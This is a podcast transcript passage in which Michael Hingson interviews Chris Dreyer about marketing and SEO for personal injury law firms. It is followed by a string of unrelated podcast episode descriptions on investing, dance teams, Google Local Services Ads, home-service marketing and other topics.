to listen to, but, yeah, he talks about being insatiable. Like, how did you grow this? He's like, Well, I'm insatiable. I I want to continue to grow. And for me, it's, it's the exact same thing. It's like, I'm insatiable. We hit a milestone. I want the next milestone. It is the game that I'm playing. I am playing like my hobby is my business. I enjoy it. I look forward to a Monday. It rewards me mentally. I enjoy the people I work with. And that's that's how we're at you know, Inc, 5008 years in a row, we'll definitely be on the ninth year next year, due to our growth this year. And it's that's just, that's just how I treat it. It's just a big game. And, you know, like any game, you play Sim City, whatever, you get a little bit more money, you get a little bit more buildings, right? You do a little bit better, you hire more talent, you expand your capabilities, and you just, if you don't stop, you're going to Michael Hingson 29:22 continue to grow. But it's a game in the mathematical sense, and it's it's a game in the the productive sense of what you're trying to do is, isn't the game just, although you obviously have to have fun in what you do, otherwise you wouldn't enjoy doing it. But it's a game in the mathematical sense of the word, oh, 100% Chris Dreyer 29:44 and so many people don't understand what I'm about to say. But like, every move that you make is a move based upon leverage in some capacity, yeah, and you take, because our time is all limited. You take. I'll give you some examples, like from a from a distribution perspective, hosting my podcast or being on your podcast is going to have more listeners than if I go speak on stage, if I go speak on stage now that that has its own benefits of authority and and different you know, belly to belly relationships from a trust perspective, but from a distribution perspective, I would be better off doing more podcasts than I would speaking on stage, sure. So there's an advantage there, right? And then there's also advantages through pricing arbitrage, and it's if, if I hire labor and talent in in the Midwest, and I pay them above average fees and salaries, and I pay my employees well, but compare that to New York or California. And I think some people, you know, these are things that they don't talk about, but when you start to look at leverage closely, it's everywhere. Capital, economies of scale, if I you know, there's leverage based upon my my buying power in certain areas, and that's what I look for. It's an interesting way to make decisions. Is based upon that leverage component. Michael Hingson 31:20 Do you think that that works in other kinds of arenas, other than just what you do? Chris Dreyer 31:27 Oh, I won 1,000% yes, yeah. It works in you could see it. You know, the closest would be, closest arena would be sports. There's so many, whether it's the salary caps or the talent of one person's labor based, you know, what they can do from a utilization or capacity versus another one's people talk about it on the business side of like, you know, You have one software programmer is worth, potentially 1,000x another one just because of that individual's capabilities. So it's literally everywhere, and it's also dissecting different scenarios into fractional leverage. So I'll take give you a different way of thinking about this. Is like, you take a an SEO specialist, a top tier SEO specialist might be 100 200 grand, right, technician, right? But you you break down their capabilities into the smaller parts. You know someone that just writes, someone that just does the title tags and the website, and someone that just does the links and that, like you can assemble, that individuals that that superstars talent through the FRAC breaking it down from a fractional perspective. It's just a big game of puzzles and how you get there and you look at like what your competitors are doing and how you can, I wouldn't say, exploit in a negative way, but, but what I mean is how you can take advantage in a positive way to to help your business succeed, right? Michael Hingson 33:15 Well, do you so if, if you're playing a game like football, of course, everybody, every team, wants to crush the other team, and it's all about winning and beating the heck out of the other guy. Is that really the way you view it, in terms of the game, as you play it, and do you enjoy being able to just crush the competition? Or is it a different mindset than that? Chris Dreyer 33:42 That's a really good question, because I am an abundance mindset. I don't think everything is a zero sum game. It's, I'll tell you something super nerdy. I was talking to my chief of staff the other day that he's we're big gamers, big nerds. And he, we were talking about Warhammer 40k and the dwarves in that game have a book of grudges. So anybody that that goes against the dwarves, they they're listed in the book of grudges, right? Yeah. And it's like all the dwarves are trying to, you know, right? This wrong. And I kind of look like that. I'm like, treat people respect like, you know, abundance zero, you know, like, abundance mentality. Do the referral thing until it's like, okay, you've done X, Y and Z, and I could give you examples of x, y, z, and it's like, okay, well, you're not my friend. You're not my ally, so now you are a true competitor by all since you know, by all definitions, right? That's how I've treated it. Michael Hingson 34:48 And so it isn't the joy of just beating everybody in sight. No, which is different, which is cool, because certainly. I would, I would also bet, though, that you have people who are competitors, but they're not unfriendly, so you can absolutely, yeah, you can develop Chris Dreyer 35:10 working relationships. Rattle off, and we have great conversations. We're friends, and people are surprised when they see us, and we're friendly, and it's like, no, it's like, we have families, we have life. We want to do good work. We want to and it's so you can absolutely have that too. Yeah. Michael Hingson 35:27 Why did you decide to specifically choose personal injury Chris Dreyer 35:33 for me? And it's this is turning into the math conversation. But really, I looked at our revenue, and it was like over 70% of our revenue. Was from less than 50% of our clientele. And it was a clear directional signal to pursue this area. And that's it was the math like, these are our best clients. They pay the most, they stay the longest we could do the best work. Also the PI space is the Super Bowl. Is the major leagues. In the legal arena, it's, it's very difficult to rank. There's a lot of competition versus, you know, I get a family law attorney. I don't care what market you're in, Los Angeles, it's like a sneeze to get them the number one or two? Yeah, it's and I like that. I like the competition. I like having to work at it and be creative and think about different things to try to obtain that top position. Michael Hingson 36:33 Yeah, well, so I would, I would presume that John Morgan's happy with you. Chris Dreyer 36:40 I, you know, I had Dan Morgan as a keynote for my 2024 conference, his son. And I haven't personally talked to John. I think he's well, he says he's retired, but he's not really retired, yeah, right. The I couldn't work with Morgan and Morgan, I can have a great relationship with them, but I can't work with them because they're in every market, and my I would, they would be my only client, so that's why, but certainly have a great relationship. I've got a text relationship with Dan, but yeah, they, I think they do everything in house. Michael Hingson 37:20 Anyways, you don't want to be the consularity for Morgan and Morgan, in other words, Chris Dreyer 37:25 your only client, right, right? That would put a lot of risk on the old client concentration problem, Michael Hingson 37:33 and it would, but still. So what does it mean for a law firm to dominate Google's organic search. And I guess the other question is, why is that the legal battleground that personal injury lawyers can't really ignore? Chris Dreyer 37:53 There's, there's so much here. Okay, where do I go? That's a lot of take. You take any channel, broadcast television has been the main vehicle for channel for distribution. It's the lowest CPMs cost per 1000. The distribution is very wide, because an individual doesn't know typically, when they're going to be in an accident, right? So you got to have a lot of reach and touch a lot of individuals. There's also radio and billboards. But typically, even if they watch you on television or hear you on the radio or what have you, they still convert. They go to Google to make that conversion that go to the website. Typically, it's not always and and things are changing due to these llms and the native experiences on platform. But even today, it's still the final destination before they contact a firm. So it's really important that you show up at the top of Google to capture all of those opportunities that you've advertised for in other mediums. Michael Hingson 39:09 How do you do that? Chris Dreyer 39:12 Well, so you know, I'll say, I'll try to simplify for the audience. Let's just keep it really, think of like a Venn diagram of, you know, the three circles overlaying and you've got the middle. You have to do all three. The first one is you have to have excellent content. You have to have, you know, if you're an auto accident attorney, you have to have content about auto accidents. You have to have, you know, you have to have content that targets phrases and words that consumers will search for, right? It starts with the content. It has to be thematically and topically relevant. Has to be excellent content. The second component would be related to. Views. You got to get Google reviews to show up on in the LSA, the local services ads location, you have to get reviews to show up in Google Map Pack. You need reviews now on Yelp to show up on and be discovered on these different llms, particularly a chat GPT. And just due to how okay for the SEO nerds listening, let me explain, because typically when you get reviews on Yelp and when you get reviews or recommendations on Facebook, they aggregate that information to other sites, which is then the listicles that form the basis of discovery for these llms. So you got to have a review background. So content reviews and then links. Google, the way that they differentiated, again, way against lo AOL was they use links as a categorization method. So if you're trying to win an election, you want to get as many votes as possible. If you're trying to win the first page of Google, you want to get as many high quality links as possible. High quality being authoritative, relevant, trustworthy, you know, sites that get a lot of traffic, so you need great content, lot of reviews and links. That is the very 8020, high end summer summary of of how to rank in Google search and on the llms, yeah. Michael Hingson 41:24 Well, and how does LinkedIn fit into what you do? Chris Dreyer 41:29 LinkedIn is a bit different. I you know LinkedIn more B to B platform. I think if you're a business attorney or a B to B firm, it's an excellent channel. I use it from a distribution perspective. I get a lot of reach. I get a lot of followers on there. A lot of attorneys congregate on there. And it's a great, you know, channel for recruiting talent, and it's cited frequently if you have some type of reputation perspective that you want to control around your name. LinkedIn typically ranks in one of the top three positions for your name if you have your profile set up properly. So yeah, it's, it's, it's got great distribution from a leverage perspective, and, you know, has other applications as well. Michael Hingson 42:15 If you were starting a law firm today, or you were advising someone who's starting a law firm, how would you deal with and start their marketing efforts? How would you organize marketing for them? Chris Dreyer 42:28 Yeah, in the beginning I would, I would do almost all performance marketing. I would not do. I would do very little with brands, because you need to get on your your cash acceleration cycle is very poor. From a PI perspective. I'm always thinking from an injury law firm perspective, because, you know, if you get an auto accident case by the time they get treatment and go through the whole process, you know, it could be 12 to 18 months before you get paid. So you know, I would think about performance marketing, Facebook ads, Google ads, LSA, SEO, a lot of the ads platforms that are, you know, very performance driven. That would be the majority of my investment. Facebook ads. So in a vacuum, you know, different markets are, there's different channels that are more effective. But in a vacuum, I would say today, right now, Facebook ads would be the best platform, the best channel for that, Michael Hingson 43:29 because so many, because it has such a high volume of viewers, or what Chris Dreyer 43:34 they're well, it's just the cost per lead. The amount that you pay on that platform to reach your target prospect is going to be cheaper than say, you go to Google ads and you're paying $600 a click for a phrase, or, you know, it's just now, there's, again, this is in a vacuum. There's very effective Google Ad strategies you can get, you know, creative with performance, Max campaigns and and different strategies. But I would say just in general, Facebook ads out of the gate would be one that I would start with, and I would start the SEO early, just because it takes time to develop. Michael Hingson 44:14 Yeah, well, that makes sense, and it does take a long time, and I think a lot of people don't necessarily understand how all of that works, but it's still something that they should, should deal with Chris Dreyer 44:28 1,000% and, you know, it's, it's a game of, it's a long game, but it, you know, even SEO can be on a shorter time horizon, if, if You're, like, if you target Car Accident Lawyer in that phrase and that segment, then sure, yeah, 12 to 18 months is, you know, you know, even two years before you start to get some visibility. But you target dog bites, you target, you know, some other case types that aren't as competitive like you can get traction sooner. Michael Hingson 45:00 Hmm, well, and that kind of brings up the question you You talk a lot about, and you wrote a book about niche. Why is it that going into like a smaller niche can yield sort of a greater opportunity, or by narrowing focus, you're creating bigger opportunities? Why is that? So? Chris Dreyer 45:22 What comes top of mind? Some of the biggest, the most important reason is it all centers around this word focus. When you focus in a single area, you become better. Well, because you were better, you can you can at your you can charge more because you're worth it. The other thing is, is when you focus on a single area, you you can create, create repeatable processes, and everything is not bespoke when it comes in. So you can set up your internal productization of a certain area. You it makes training easier by immersion. So there's a lot of benefits, even even the perception aspect of it, right? So when you think of like, who's better, a generalist versus a brain surgeon, you think a brain surgeon is a specialist. And you think, Well, who do you think, just offhand, whose fees would be higher? Well, you think the brain surgeon would would charge higher fees. And so from a perception perspective, and when you're thinking about trust, the that's the other one, right? You would think from a trust perspective, they would be more qualified because they're in this certain area. So, and when we're trying to convert someone in sales, it's always a conversation based upon trust. So those are some of the main advantages, the one heavy, heavy disadvantage. Disadvantage is Tam, total addressable market. It's you focus on personal injury. You're at 50, 60,000 firms. You focus on all law firms. United States, you're at 400,000 law firms. So there's trade offs for you know, there's pros and cons on both sides well Michael Hingson 47:03 and and that makes sense, but there is a lot of merit to the to the whole concept of specializing, and you've proven it with what you do, and you continue to be pretty successful about it. And then that makes a lot of sense, but you also do something else that I think is interesting. You've written a book, niching up, you've got a podcast, you have other things that you do, and, of course, just the company itself, but you put all of that together, and all of that not only has to help your brand, but it makes you more visible in the marketplace overall. Don't you think? Chris Dreyer 47:42 Yeah, it certainly does, and it is our flywheel, right? It's somebody that's on my podcast could be a potential quote in my book, and I have a personal injury lawyer marketing book, right? And there's quotes from the pod. I have now a quarterly magazine that goes out. We could cherry pick a couple episodes, you know, to include in the magazine. We have retreats that are quarterly. They're, they're in person that, because we have a community, they're easier to to fill. We have a yearly event for personal injury law firms called, you know, Pim con. So it's all this, this flywheel that kind of compounds over time due to the community aspect, Michael Hingson 48:25 but people obviously react well to it, because you continue to be successful. Chris Dreyer 48:32 Yeah, and I think the biggest thing for me is I am I am not the the expert. I am bringing on the experts in their field, the people that are eating their own dog food, so to speak, right? They're practicing what they preach. It is, I can orchestrate a great conversation because I know the space and can ask very specific questions based upon my knowledge. But I'm bringing on, you know, Dan Morgan's on the pod. I've had, let's see Morris Bart. You know, I've had frank Azar in Colorado. I've had the biggest of the big pi attorneys on sharing what works for them, which, which is very valuable, because it's not, you know, some, you know, a consultant or me or whoever, speaking about like, Oh, this is how you can grow a law firm. It's no this is the owner of a law firm explaining how he or she is growing their law firm right, Michael Hingson 49:31 and providing that advice for other people, which also helps you gain trust, which is pretty cool. What's the best way for an attorney who wants to stand out to truly build authority in the market? Chris Dreyer 49:50 Well, if you're if you're b Look, okay, so there's a couple types of firms. If you're a trial attorney and you want to get peer referrals, I would say. See, I would say start a podcast would be one of the best ways, you know, interview your peer, interview other attorneys around the country, talk shop, you know, speak at C les. You know, do the those types of aspects it, you know, a podcast. I'm not saying it's not good for B to C, but it's, it has to be a different type of podcast. So I think, I think B to B, if you're a litigation attorney, a podcast would be great if it's B to C. That's, that's tricky. I think I think probably social media in some capacity, but really it's just sharing your knowledge on a platform and being consistent. Michael Hingson 50:51 Yeah, consistency counts for a lot, and it is something you can you can show is being relevant in almost any kind of business. I mean, look at McDonald's. One thing you can generally tell about McDonald's is that their quarter pounder is going to taste the same everywhere, and it's going to be the same and, and, and companies and people can learn a lot by seeing a company that truly develops that level of trust, 51:24 yeah, couldn't agree more. Michael Hingson 51:26 And that's pretty important to do, to be able to get someone who is going to earn that trust by vigorously working to earn that trust. And so there's something to be said for that, needless to say, so you've built a very large company. What would you say are some of the pivotal moments that sort of helped shape your trajectory? I know you've talked about some things, but what, what kind of really, are the things that stand out that really helped you create all of that? Chris Dreyer 52:00 I think in the beginning, I did a lot of free work, and had to prove my work, prove my abilities. I think so many people just want to charge a lot out of the gate. And I think there's when you do things for people, they're more willing to reciprocate. And it from an application perspective, it makes you better. So I did a lot of free work early, a ton of free work. I took a lot of jobs or contracts that maybe not, maybe for certain, that I wouldn't take today, that were just not perfect, but like they were my opportunities that I didn't, you know, let them pass by. I think hiring the right people, having super high standards is incredibly important, people that share your values. In the beginning, I used to, every time I heard a speech or taught speech speaker talk about culture values, I used to kind of roll my eyes and say I just didn't get to get to work, right? But now I know it's more important than ever that they share my values, right? Because they're important to me, and that's how you move forward. And I think the other one, if I had to say, the bigger I get, the more important good data, is to make decisions like, if I just don't have good data, it's very difficult. I'm just guessing and and the better the data, the better decisions well. Michael Hingson 53:32 So the the other thing that comes to mind when you talked about doing a lot of free work and jobs that you wouldn't necessarily take today, I don't know how much it really entered into your mindset, but think of all the knowledge you gathered by doing that that you might not have ever gotten. Yeah. Chris Dreyer 53:49 I mean, that's true, and a lot of other people wouldn't have done those jobs, so that's kind of some unique perspectives. Michael Hingson 53:56 Yeah, I when I hired sales people, one of the first things I always told them was, you're coming into this be a student for at least the first year. Don't hesitate to ask questions of your customers, because they're not if you gain their trust at all. They're not in it to see you fail. They want you to succeed, but they want to be able to trust you. And so there's a lot to be said for being a student, asking questions and learning from that. I agree. I agree, which makes a lot of sense. What's the biggest misconception that lawyers typically have about marketing? Chris Dreyer 54:33 They underestimate how many dollars and what it takes for someone to actually be memorable or build a brand. I talked to, I heard Alex hermosi talking recently about, you know, no one really knew who Jennifer Lawrence was before the mockingbird movie, and they spent $50 million on advertising for that movie. And then, oh, suddenly, everyone knows who she is. But it took $50 million To do so. I think a lot of times people think they oversaturate a channel when they haven't even scratched the possibilities or the capabilities of a particular channel. Michael Hingson 55:10 How do you help lawyers break through that misconception? I agree with what you're saying. I hear it a lot, in so many ways, but how do you break through that and get them to understand the value. Chris Dreyer 55:22 It's a dance, yeah, you know, I try to get them to look at the blended cost to acquire a case, as opposed to, you know, the CAC to LTV ratio, versus trying to pinpoint each individual channel and but it is try to try to solve with data and proof over, you know, guesses, but or promises, but it is always a song and dance. Michael Hingson 55:52 The data and proof is out there. If people can learn to look for it, it's, it's, the reality is, mostly it's not a guess, but you have to know where to look or learn how to find the data to be able to get the answers that you need to demonstrate that marketing is just as valuable as anything else. I mean, there's so many strong lessons about marketing. We talked about Morgan and Morgan, but think about it, he's out there doing TV commercials all the time, and I'm sure that that's helping his company. He and Ultima continuing to to grow, and now they got the boys all in it. And the reality is they've demonstrated that they understand something about what marketing is all about. I remember back a long time ago when it was taboo for lawyers to even advertise. And then a couple of companies out here started to do it. And finally, people realized there's a lot of value in marketing. Chris Dreyer 56:50 Absolutely. And Michael, I should have said this in advance. I've got a I got a hard stop, I got a I got a hat, I got a client call here in two minutes. Michael Hingson 56:59 Well, then let me just ask, is there anything else that you want to add? Or how can people reach out to you if they'd like to do that? Chris Dreyer 57:06 Well, first of all, I really enjoyed our conversation, so thank you for having me. Yeah, you know, for anybody that has a question or wants to connect with me, the best way to get in touch with me is by email. I'm an inbox zero guy. It's Chris, C, H, R, i s@rankings.io I'm most active on LinkedIn. You'll just do a search for Chris Dreyer, and you'll find me cool. Michael Hingson 57:29 Well, I want to thank you for being here, and I want to thank all of you for tuning in today, wherever you are, I'd love to hear from you. Love your thoughts on the podcast. Give us an email at Michael h i at accessibe, A, C, C, E, S, S, i, b, e.com, also, you can listen to any of our podcasts. They're all available. And you can find us at Michael hingson.com/podcast and you can see and hear all the episodes that you want from there. Please give us a five star review and great rating wherever you're listening and watching us, we value it a lot. And if you know anyone who you think might be able to be a good guest, love to hear from you. Chris, you as well. If you know anybody else who you think ought to be a guest, I'd love to definitely get your help to bring them on, because we're looking for all the people who want to come on and show that we're all more unstoppable than we think. But again, I want to just thank you for being here today. Chris Dreyer 58:20 Thank you, Michael. I really enjoyed it. Michael Hingson 58:26 Thank you for being here with me on unstoppable mindset. I hope today's conversation left you with a fresh perspective, a new insight, or at least something worth thinking about if you're ready to go deeper into the ideas that shape how we see ourselves and others. I have a free gift for you. Head over to Michael hingson.com and download my free ebook, blinded by fear. It explores the invisible beliefs that hold us back and shows you how to reframe them so you can move forward with clarity and confidence. Be sure to subscribe to our podcast, leave a review and share this show with someone who can use a reminder that growth starts with mindset. When people think differently, we all move forward together. Thanks again for listening, keep learning, keep questioning and keep choosing to live with an unstoppable mindset you.
On this episode of Investor Connect, Hall welcomes PPaola Torre, venture partner at Acquilus Ventures and board member at Life Science Angels. Located in the United States, Life Science Angels invests exclusively in early-stage life sciences companies at the seed and early Series A stages, combining capital with deep operational, scientific, and clinical expertise and hands-on mentoring beyond the check. The group emphasizes translational credibility, unmet medical need, team quality, and risk management, pressure-testing IP, regulatory strategy, and timelines, and increasingly values pharma partnerships as predictive for 2026; it also collaborates through syndicates with other angels, VCs, and strategics. Paola is a PhD scientist with hands-on R&D experience at BioMarin Pharmaceutical across fibrosis, neurometabolic disorders, and cardiovascular disease, and she works at the intersection of biotechnology, venture capital, and healthcare innovation. She shares LSA's approach to deal structures and valuation discipline (including a $15M pre-money cap and use of convertible notes), how angels help de-risk capital-intensive biotech, what makes founders successful, and her views on next-generation therapies, AI-enabled platforms, non-animal models, and AI risks, standards, and FDA priorities. Visit www.lifescienceangels.com Reach out to at www.linkedin.com/in/paola-torre-phd/?locale=en_US ________________________________________________________________________ For more episodes from Investor Connect, please visit the site at: http://investorconnect.org Check out our other podcasts here: https://investorconnect.org/ For Investors check out: https://tencapital.group/investor-landing/ For Startups check out: https://tencapital.group/company-landing/ For eGuides check out: https:/_/tencapital.group/education/ For upcoming Events, check out https://tencapital.group/events/ For Feedback please contact info@tencapital.group Please follow, share, and leave a review. Music courtesy of Bensound.
Guests - Erin Alvarado and Kristin DanielHosted By - Courtney Ortiz and Lesley MealorIn Episode 259 of Making The Impact - A Dance Competition Podcast, LSU Tiger Girls choreographer Kristin Daniel and Texas Tech dance team coach and dance faculty member Erin Alvarado school us on the similarities and differences between dancing at a studio and being a part of a dance team. Topics Include: How studio training can inform your college dance team experience The realities of college dance team training Tips for the audition processHelp support our podcast! Join Making The Impact's Platinum Premium Subscription today! Your membership includes:Monthly Q&A episodes released to members onlyPriority to have your questions answered each month on the live Q&A.Ad-free listening for all of Seasons 4 through 7. No sponsored ads!20% off all IDA MerchandiseExclusive bonus content released throughout the yearDiscounted IDA Online CritiqueGroup Zoom check-ins 3x per season with Courtney Ortiz!Your support helps us produce future episodes of Making The Impact for years to come!Making The Impact's Platinum Premium - Sign up now for only $5/month!Follow your Hosts & Guests!Courtney Ortiz - @courtney.ortizLesley Mealor - @miss.lesley.danceErin Alvarado - @erinmalvaradoKristin Daniel - @KristinDanielCheck out some of the routines we mentioned in the episode!Oops!...I Did It Again - Kristin Daniel choreo, LSU Jazz Finals 2026Are You That Somebody - Kristin Danciel choreo, LSU 2024This episode is sponsored by:Check out our service: IDA Online Judge's CritiquesSend us a video of your dance and an IDA Judge will critique your routine! You can request a genre-specific specialty judge or add on 10 minutes of additional feedback. 24-hour rush delivery available! Submit your video now! IDA-affiliated competition Uproar Dance Competition!Visit their website for more info on their 2026 seasonJoin our FREE Facebook Group and connect with us! Making The Impact - A Dance Competition Podcast Community Leave us a review on Apple Podcasts! We would love to hear from you! Join our Newsletter for weekly episode releases straight to your inbox! Follow Impact Dance Adjudicators on social media @impactdanceadjudicators and for a list of IDA Affiliated dance competitions, visit our website at www.impactdanceadjudicators.comSupport the show
The Marketing Stack for Home Service Businesses: From $1M to $10MWhat should home service companies actually spend on marketing at $1 million, $5 million, and $10 million?In this episode, John Wilson sits down with Ethan Wright of Service Scalers to break down the real marketing stack for HVAC, plumbing, and electrical companies at every stage of growth. They cover what changes as you scale, what stays the same, and where most owners waste money too early.If you run an HVAC, plumbing, or electrical business and want a clearer roadmap for how to think about marketing as you grow, this episode lays it out.In this episode, we cover:The best marketing priorities for home service companies from $1M to $10MWhy lead generation matters more than branding in the early stagesHow reviews, LSA, aggregators, and speed-to-lead drive growthWhen PPC, SEO, and lifecycle marketing become more importantWhy most owners hire for marketing too earlyHow pricing impacts your ability to buy leads profitablyHost: John Wilson https://x.com/WilsonCompanies Guest: Ethan Wright linkedin.com/in/ethanwrighttx
Send a textIn this episode of the Near Memo podcast, Greg Sterling and Mike Blumenthal host a panel discussion with Eric Levine (Leadwise HQ, former Google LSA team), Claudia Tomina (Reputation Arm), Matt Casady (Sterling Sky), and Crystal Horton (Google Business Profile Platinum Product Expert).Together the panel explores how agencies are actually managing LSAs for clients today.Topics include:• The real ranking factors behind Local Service Ads• Whether LSAs are still a DIY product or require agency expertise• How agencies price and manage LSA services• Fraud, verification challenges, and fake listings• Lead quality and the removal of the lead dispute feature• What separates successful LSA campaigns from failed ones• How LSAs may evolve as AI search and brand discovery reshape local searchThe conversation also dives into the agency economics of LSAs — from consulting models to flat fee management and performance expectations in competitive markets like personal injury law.If you're an agency, consultant, or in-house marketer managing LSAs for clients, this panel discussion offers practical insights into how the product really works.Subscribe to our newsletters and other content at https://www.nearmedia.co/subscribe/
Florentina Craciun is an urban planner with over 16 years of experience in environmental compliance. As a Senior Planner at LSA , she guides agencies and private clients through CEQA for projects like housing and commercial developments, historic building adaptive reuse, and public infrastructure. Florentina earned her Master's in Urban Planning from UCLA with an emphasis on environmental planning. Since then, she's worked to bridge graduate school ideals with real-world practice—making environmental planning more accessible through teaching CEQA courses, mentorship, and championing streamlined processes. And for over a decade, Florentina served on the APA Northern Section Board, with roles from Membership Director to Awards Co-Director. Florentina has done this while pursuing her vision of transforming environmental planning from a "can't do" barrier into a "can-do" tool for building more just communities.
Does Google PPC still work for home service businesses—or is it just an expensive mistake?In this Clicks to Calls episode of Owned and Operated, John Wilson sits down with Service Scalers CEO Sam Preston to break down the truth about Google Ads (PPC) for HVAC, plumbing, and electrical companies. Some operators swear PPC is dead. Others are spending six figures a month and winning. The difference isn't the platform—it's execution.They walk through why PPC fails for most owners, how it's fundamentally different from Local Service Ads, and what has to be in place before PPC becomes a scalable, predictable lead channel. From budget minimums and landing pages to tracking revenue (not just calls), this episode lays out a clear framework for deciding if PPC belongs in your business—and how to avoid burning cash if you try it.If you've ever said “Google Ads don't work for us,” this episode will challenge that assumption.What you'll learn in this episode:Why PPC still works—and why most operators think it doesn'tThe real difference between LSA and PPC (and why PPC breaks first)Budget thresholds you actually need to make PPC viableWhy landing pages matter more than ad copyShout Out to FieldPulse
Send us a textLocal Services Ads have become the “top-of-the-page” battleground for high-value local categories—especially professional services. In this episode, Greg Sterling and Mike Blumenthal talk with former LSA team member Eric Levine about how LSAs evolved, what really influences rank, and how Google's lead marketplace mechanics shape outcomes. We break down “request multiple options,” lead billing, the big ranking signals (reviews, responsiveness, radius/service area), why LSAs often win user attention over the local pack, and how photos should be chosen and structured to match user decision-making.Subscribe to our newsletters and other content at https://www.nearmedia.co/subscribe/
Avec : Yves Puget, directeur de la rédaction du magazine LSA. - Tous les matins à 7h40, l'invité qui fait l'actualité. Un acteur incontournable, un expert renseigné... 10 minutes d'interview sans concession avec Apolline de Malherbe et les témoignages des auditeurs de RMC au 3216.
Each week, Greg and Ben answer your questions on digital marketing for local businesses … local search engine optimization (SEO), Google Business Profile, social media, email marketing, websites, online advertising and more.Updates and QuestionsGoogle speaks on hiring GEO/AEO/SEO and buying AI optimization tools.Google's Danny Sullivan says not to turn content into bite sized chunks for LLMs.Google announces new branded AI business agents.Google rolls out Personal Intelligence in Gemini.Google confirms Apple Intelligence and Siri will be powered using Gemini.Why does Google keep asking for reverification after changing my business name?When are products for SABs going away?Should I change my SAB to a storefront for more visibility?Do clients ever pay based on success in leads or sales?Are EV charging station listings considered a separate department if they're located within a business?With the ‘Vehicles for Sale' feature now deprecated, should I use the products section instead?Are there any tools that can predict Google's confidence score?How do you answer the phone for LSA to train it not to charge you for bad leads?Should I offer yearly contracts for SEO marketing, or month-to-month?Links mentioned in this session are available on our website at https://localmarketinginstitute.com
In this episode of The Boardroom Buzz, the Blue Collar Twins sit down with Trevor Sharp and Scott Sandberg from Ruva Pest Control, the Utah door-to-door guys who packed up, moved to Connecticut, and built a high-retention pest brand from scratch. In just three years, Ruva has stacked close to 3,000 five-star Google reviews, blended aggressive door-to-door with disciplined digital, and built a culture where twenty‑somethings earn $80K+ and line up for supervisor licenses. They share how they chose Connecticut, why they fired almost their entire first ops team, and how they rebuilt around culture, referrals, and customer experience. This is a doors-to-boardroom playbook on building a real company behind a door-to-door engine. You'll learn: • Why they left a big national and relocated to Connecticut with zero presence • The hiring mistake that wrecked year one ops and how they fixed retention • How they use NPS and review-based incentives to drive service quality • Why combining door-to-door with LSA, PPC, and referrals beats single-channel growth • How they're structuring branch equity for future leaders (and why it matters) Ready for boardroom-level help with your own business? • Grow, sell, or exit your service company with Potomac: https://www.potomaccompany.com Connect with the hosts: • Blue Collar Twins – Jason & Jeremy Julio: https://bluecollartwins.com Connect with Paul: • Paul Giannamore – Managing Director & M&A advisor at Potomac: https://www.linkedin.com/in/paulgiannamore
This is the literal easiest lever you can pull to add leads tomorrow: turn on (and properly run) Google Local Services Ads (LSAs).In this episode, John Wilson sits down with Sam Preston (CEO of Service Scalers) to break down why LSAs are still absurdly underutilized in home services—and how a simple setup + consistency flywheel (answer calls → book jobs → earn 5-star reviews) can ramp a business fast.They also zoom out into the operator view: how John evaluates acquisitions through the lens of marketing, why under-spent businesses with strong reviews are so attractive, and the biggest LSA mistakes they see (turning it off, wrong services/locations, and “set it and forget it”).If you're a contractor owner (HVAC, plumbing, electrical, etc.) and you want a no-excuses playbook to get more calls in 2026, start here.
Ring in the New Year with a bang (or a flush!) on this epic Dirt Bags Podcast episode! Luke Eggebraaten chats with Dominic Rosales, founder of Poor Pumper Society – the ultimate brand for septic pumpers, creators, and everyone who knows it "Smells Like Money" in the waste game. Flush out 2025 and pump into the new year strong!Available now on Spotify, Apple Podcasts, YouTube, and all podcast platforms. Grab gear at poorpumpersociety.com! #dirtbagspodcast #PoorPumperSociety #SmellsLikeMoney #NewYearsSpecialDominic Rosales's Links:FB: https://www.facebook.com/poorpumpersociety/IG: https://www.instagram.com/poorpumpersociety/?hl=enYouTube: https://www.youtube.com/c/PoorPumperSocietySite: poorpumpersociety.comFree strategy call with Phaser Marketing – call (775) DIRT-BAG: https://calendly.com/d/cm59-rf4-hgq/investing-in-a-new-construction-website?month=2025-05Phaser Packages:SILVER (under $1M rev): Startup $3,500 | Monthly $1,500- Brand/website foundation, mini kit, custom WP site + hosting/security- GBP optimization + LSA, EDDM campaigns- DirtDev Lite CRM (tracking, reviews, pipelines)- Analytics, dedicated specialist6-month roadmap to $1M, then upgrade.GOLD (over $1M, scaling): Startup $3,500 | Monthly $3,000Everything in Silver +- Multi-channel ads (FB/PPC), hiring campaigns- Unlimited graphics/merch, full brand overhaul- DirtDev PRO (advanced pipelines, SMS, workflows)- Enhanced SEO, quarterly emailsDIAMOND (dominate market): Startup $3,500 | Monthly $6,500Everything in Silver + Gold +- Managed social + Social SEO- Blogging, backlinks, onsite photographer 2x/year- Multi-platform PPC, full strategy refresh- Unlimited high-end creative, ongoing site upgrades- Monthly emails, DirtDev PRO customizations + training- Strategic hiring + direct mailSponsors:Charlie Huff @ TruPoint – Waste-industry insurance pros. COIs, fleet adds, audits – handled fast so you grow. Call (435) 764-4833 or trupointco.comEljen – GSF® A42 system: geotextile + plastic core for better treatment, smaller footprint, long-term soil protection. Perfect for tight sites. eljen.comSludgeHammer – Bacterial tech restores fields, cuts sludge, eco-friendly performance boost – no overhauls needed. Homes to large apps. sludgehammer.netThanks for listening – pumped for 2026!
Send us a textWant a marketing plan that survives platform changes, rising CPCs, and slow seasons? We sit down with CMO Matt Tyner to unpack a practical playbook for home service companies that blends brand building with capacity-aware demand generation. From HVAC to roofing, Matt's path reveals why the cheapest leads come from strong brands, how consistent execution compounds, and where most contractors accidentally sabotage their results.We get tactical fast: schedule blocking that protects strategy time, capacity boards that guide spend, and a weekly reporting rhythm that replaces guesswork with clarity. Matt outlines the metrics he tracks—booking rate, set rate, close rate, average ticket, reviews, NPS, and referrals—and explains how a dedicated follow-up team added millions in closed revenue without turning up the pressure. You'll hear why education-first newsletters outperform coupon blasts, what a thoughtful 120-day estimate cadence looks like, and how to keep tone aligned with your sales DNA.If you run multi-location brands, you'll appreciate Matt's deep dive on localization. Creative must reflect the market; what works in the Midwest can ring false in Florida. We talk about filming smarter, tightening shots, and adapting social and media mixes to demographics and seasonality. And when it comes to channel strategy, Matt makes the case for diversification: balance SEO, LSA, PPC, direct mail, OTT/CTV, OOH, referrals, and community partnerships so no single platform can derail your pipeline.The throughline is simple and demanding: consistency is the real silver bullet. Stick with partners long enough to learn, keep budgets steady enough to measure, and show up for your community so trust precedes every search. If you're ready to get brand-forward, tighten your follow-up, and lead with empathy while you scale, this conversation will give you concrete steps to start today.If this resonated, subscribe, leave a review, and share it with a contractor friend who needs a steadier plan. What will you commit to doing consistently over the next quarter?If you enjoyed this chat From the 